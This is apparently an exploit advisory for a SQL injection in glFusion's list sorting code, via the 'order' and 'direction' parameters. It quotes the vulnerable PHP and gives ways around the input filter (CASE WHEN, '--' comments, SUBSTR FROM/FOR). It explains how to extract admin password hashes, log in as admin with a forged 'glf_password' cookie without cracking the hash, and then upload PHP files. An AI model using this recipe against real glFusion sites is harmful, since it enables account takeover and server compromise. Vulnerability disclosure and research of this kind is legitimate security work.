Vulnerability, sql injection in 'order' and 'direction' arguments:
look ExecuteQueries() function in
/private/system/classes/listfactory.class.php, near line 336:
...
// Get the details for sorting the list
$this->_sort_arr['field'] = isset($_REQUEST['order']) ?
COM_applyFilter($_REQUEST['order']) : $this->_def_sort_arr['field'];
$this->_sort_arr['direction'] = isset($_REQUEST['direction']) ?
COM_applyFilter($_REQUEST['direction']) : $this->_def_sort_arr['direction'];
if (is_numeric($this->_sort_arr['field'])) {
$ord = $this->_def_sort_arr['field'];
$this->_sort_arr['field'] = SQL_TITLE;
} else {
$ord = $this->_sort_arr['field'];
}
$order_sql = ' ORDER BY ' . $ord . ' ' .
strtoupper($this->_sort_arr['direction']);
...
filters are inefficient, see COM_applyFilter() which calls
COM_applyBasicFilter()
in /public/lib-common.php near line 5774.
We are in an ORDER clause and vars are not surrounded by quotes,
bad chars are ex. "," , "/" ,"'", ";", "\",""","*","`"
but what about spaces and "("... you can use a CASE WHEN .. THEN ..
ELSE .. END
construct instead of ex. IF(..,..,..) and "--" instead of "/*" to
close
your query.
And ex. the alternative syntax SUBSTR(str FROM n FOR n) instead of
SUBSTR(str,n,n) in a sub-SELECT statement.
Other attacks are possible, COM_applyFilter() is a very common used
one.
Additional notes: 'direction' argument is uppercased by strtoupper(),
you know that table identifiers on Unix-like systems are case
sensitives
but not on MS Windows, however I choosed to inject in the 'order' one
for better results.
Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or
$_COOKIE[], which is not intended I suppose.
This exploit extracts the hash from users table; also note that you do
not need to crack the hash, you can authenticate as admin with the
cookie:
glfusion=[uid]; glf_password=[hash];
as admin you can upload php files in public folders!
Very soft mitigations: glFusion does not show the table prefix in sql
errors, default however is 'gl_'. I prepared a fast routine to extract
it from information_schema db if availiable.
To successfully interrogate MySQL you need at least 2 records in the
same topic section, however the default installation create 2 links with
topic "glFusion"
